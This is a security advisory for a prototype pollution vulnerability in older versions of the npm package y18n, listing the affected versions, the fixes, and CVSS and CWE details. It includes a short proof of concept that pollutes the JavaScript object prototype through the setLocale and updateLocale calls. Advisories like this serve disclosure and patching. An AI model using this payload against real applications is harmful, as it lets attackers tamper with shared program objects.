High

Prototype Pollution in y18n

Disclosed: 29.03.2021
Updated: 11.10.2026 10:22

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	y18n	< 3.2.2, >= 4.0.0, < 4.0.1, >= 5.0.0, < 5.0.5	3.2.2, 4.0.1, 5.0.5

References

CVSS score 7.3/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE): CWE-1321, CWE-20, CWE-915
Platform: npm
Package: y18n
Disclosed: 29.03.2021
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-c4w7-xm78-47vh - CC BY 4.0

Vulnerability history: y18n

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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